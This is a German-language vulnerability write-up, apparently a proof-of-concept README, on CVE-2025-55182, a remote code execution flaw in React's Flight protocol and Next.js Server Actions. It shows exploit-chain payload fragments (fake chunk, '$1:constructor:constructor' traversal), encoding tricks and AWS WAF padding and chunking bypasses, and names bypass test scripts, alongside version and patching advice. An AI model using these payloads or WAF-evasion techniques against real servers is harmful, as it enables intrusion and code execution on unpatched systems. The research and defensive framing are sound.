CVE-2025-55182-research

Technischer Proof-of-Concept und tiefgehende Analyse von CVE-2025-55182, einer kritischen RCE-Schwachstelle im Flight-Protokoll von React durch Pfad-Traversal, Fake-Chunk-Injection und $B-Handler-Missbrauch.

Exploitationsablauf```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Selbstreferenzielle Thenable (then)

Das then: "$1:__proto__:then" erzeugt eine Selbstreferenz, die zu einer echten Funktion aufgelöst wird:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) verwendet this._response - die gefälschte _response des Angreifers:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Stage 1: Selbstreferenzierendes then des äußeren Objekts löst Chunk-Verarbeitung aus

Stage 2: Wenn React das Modell auflöst, parst es value und stößt auf ein weiteres thenable mit then: "$B1337". Das Präfix $B löst den Handler aus:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

Der interne Code von React greift während der Verarbeitung möglicherweise auf response._chunks.get() oder response._chunks.has() zu. Eine leere Map erfüllt diese Aufrufe fehlerfrei und ermöglicht so die Ausführung bis zum anfälligen $B-Handler.

Anfällige Codepfade

decodeReply() ist der Einstiegspunkt, selbst nicht anfällig.

Pfad-Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty check in getOutlinedModel() - Blockiert Prototype-Traversal ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__ Handhabung in reviveModel() - Verhindert prototype pollution ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. Typüberprüfung in initializeModelChunk() - Validiert Listener ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

Auswirkung & Versionen

Auswirkungsbewertung

Betroffene Versionen

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: Gleiche Versionen
• Next.js: 15.x, 16.x (vor Patches), Canaries ab 14.3.0-canary.77+

Behobene Versionen

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Warum signaturbasierte WAF-Erkennung fehlschlägt

Dieser Abschnitt erklärt, warum traditionelle pattern-basierte WAF-Regeln diesen Exploit nicht zuverlässig erkennen können. Das Verständnis dieser Einschränkungen ist für Sicherheitsteams, die ihr Abwehrprofil bewerten, unerlässlich.

Das Kernproblem: Kodierung auf mehreren Ebenen

Die Exploit-Payload durchläuft mehrere Parser, die jeweils unterschiedliche Kodierungsunterstützung bieten. Eine WAF, die rohe HTTP-Bytes untersucht, sieht kodierte Zeichenfolgen, aber der Server dekodiert sie vor der Verarbeitung:

Dies erzeugt eine grundlegende Diskrepanz: die WAF sieht kodierte Bytes, aber die Anwendung sieht dekodierte Zeichenfolgen.

Was Signaturen abgleichen müssten

Eine naive WAF könnte nach Mustern wie constructor, __proto__, resolved_model oder child_process suchen. JSON erlaubt jedoch Unicode-Escapes für jedes Zeichen:

JavaScript-Code innerhalb der Payload hat noch mehr Kodierungsoptionen:

Die Erkennungslücke

Wenn alle Kodierungstechniken kombiniert werden:

• JSON-Schlüssel werden zu Unicode-Sequenzen (\u0074\u0068\u0065\u006e für then)
• JS-Bezeichner werden zu numerischen Arrays (S(99,104,105,108,100,95,...) für child_process)
• Die rohe Payload enthält null erkennbare Schlüsselwörter

Eine WAF, die den HTTP-Body scannt, sieht nur Escape-Sequenzen und Zahlen – nichts, das mit traditionellen Angriffssignaturen übereinstimmt.

Warum dies für Verteidiger wichtig ist

1. Signaturbasierte Regeln vermitteln falsche Sicherheit – Die Payload erreicht den Server unerkannt
2. Die Kodierung ist unendlich – Jedes Zeichen kann unterschiedlich escaped werden; Regex kann nicht alle Varianten aufzählen
3. Der Angriff ist protokollkonform – Alle Kodierungen sind gemäß Spezifikation gültiges JSON/JavaScript

Überlegungen zur Header-Erkennung

Der Next-Action-Header identifiziert Server Action-Anfragen. Während Header-Namen nicht Unicode-kodiert werden können (RFC 7230 erfordert ASCII-Token), erzeugen Normalisierungsunterschiede zwischen WAF und Server Erkennungslücken:

Empfehlungen zur Verteidigung

Patchen ist die einzige zuverlässige Abhilfe. WAF-Regeln können diesen Angriff aufgrund der Kodierungsflexibilität nicht umfassend blockieren.

Erforderliche Versionen:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Wenn das Patchen verzögert wird, ziehen Sie Folgendes in Betracht:

1. Dekodieren vor dem Abgleich – WAF muss \uXXXX, \xXX dekodieren und fromCharCode()-Aufrufe normalisieren, bevor ein Musterabgleich erfolgt
2. Strukturelle Erkennung – Suchen Sie nach JSON-Strukturen, die _response, _prefix, _chunks oder zirkuläre Referenzen ($@0) enthalten
3. Header-Normalisierung – next-action-Header unabhängig von Groß-/Kleinschreibung und mit Leerzeichenabgleich vergleichen
4. Server Actions blockieren – Wenn Sie Server Actions nicht nutzen, blockieren Sie Anfragen mit Next-Action-Header vollständig
5. Laufzeitüberwachung – Alarmieren Sie bei Function()-Aufrufen mit dynamischen Zeichenfolgenargumenten

Wesentliche Erkenntnis: Musterabgleich allein wird gegen diese Art von Angriff versagen. Die Kodierungsoberfläche ist zu groß, um sie aufzuzählen.

Umgehung der AWS WAF-Body-Inspektionsgrenzen

Selbst mit umfassenden WAF-Regeln hat AWS WAF Body-Inspektionsgrößenbeschränkungen, die ausgenutzt werden können. Dieser Abschnitt dokumentiert getestete Umgehungstechniken mit überdimensionalen Payloads.

Grenzen der Body-Inspektion

AWS WAF inspiziert nur einen Teil des Anforderungsbodys:

Das OversizeHandling-Problem

WAF-Regeln legen fest, wie mit Anfragen umzugehen ist, die die Inspektionsgrenzen überschreiten:

Wenn Ihre WAF-Regel OversizeHandling: CONTINUE verwendet (häufige Voreinstellung), ist die Umgehung trivial.

Umgehungsstrategie: Padding vor der Payload

Platzieren Sie harmlose Padding-Daten vor der Exploit-Payload, sodass sie außerhalb des Inspektionsfensters liegt:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

Muster auf mehrere Abschnitte aufgeteilt:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

Überlegungen zum WAF-Verhalten

Hinweis: AWS WAF setzt typischerweise chunked Bodies vor der Prüfung wieder zusammen. Dies sollte jedoch je nach Umgebung überprüft werden, da die Konfigurationen variieren.

Empfehlungen zur Abschwächung

1. Ändern Sie OversizeHandling auf MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

Dies blockiert alle Anfragen, die das Inspektionslimit überschreiten, wenn die Regelbedingungen erfüllt sind.

2. Erhöhen des Body-Inspektionslimits (nur CloudFront/API Gateway) Konfigurieren Sie bis zu 64 KB in den Web-ACL-Einstellungen, dies verhindert die Umgehung jedoch nicht vollständig.

3. Hinzufügen einer größenbasierten Blockierungsregel Blockieren Sie POST-Anfragen mit Next-Action-Header, die eine angemessene Größe (z.B. 10 KB) überschreiten.

4. Patchen der Anwendung – Die einzige vollständige Lösung.

Test-Skripte

Siehe enthaltene Testskripte:

• test-simple.cjs – Basis-Test für nicht chunked Payload
• test-oversize.cjs – Testet Padding-Größen von 0-128 KB
• test-chunked-v2.cjs – Chunked Transfer Encoding mit $@-Split
• test-chunked-bypass.cjs – Mehrere Chunking-Strategien (5-Byte, 10-Byte, Pattern-Splits)

Verwendung:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

Blockierte Pfade, die wir versucht haben

Obwohl wir Function erhalten haben, erfordert die Erreichung von RCE, dass es mit kontrollierten Argumenten aufgerufen wird. Diese Pfade schlugen fehl:

1. Thenable Path (Blockiert)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. Iterator Path (blockiert)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute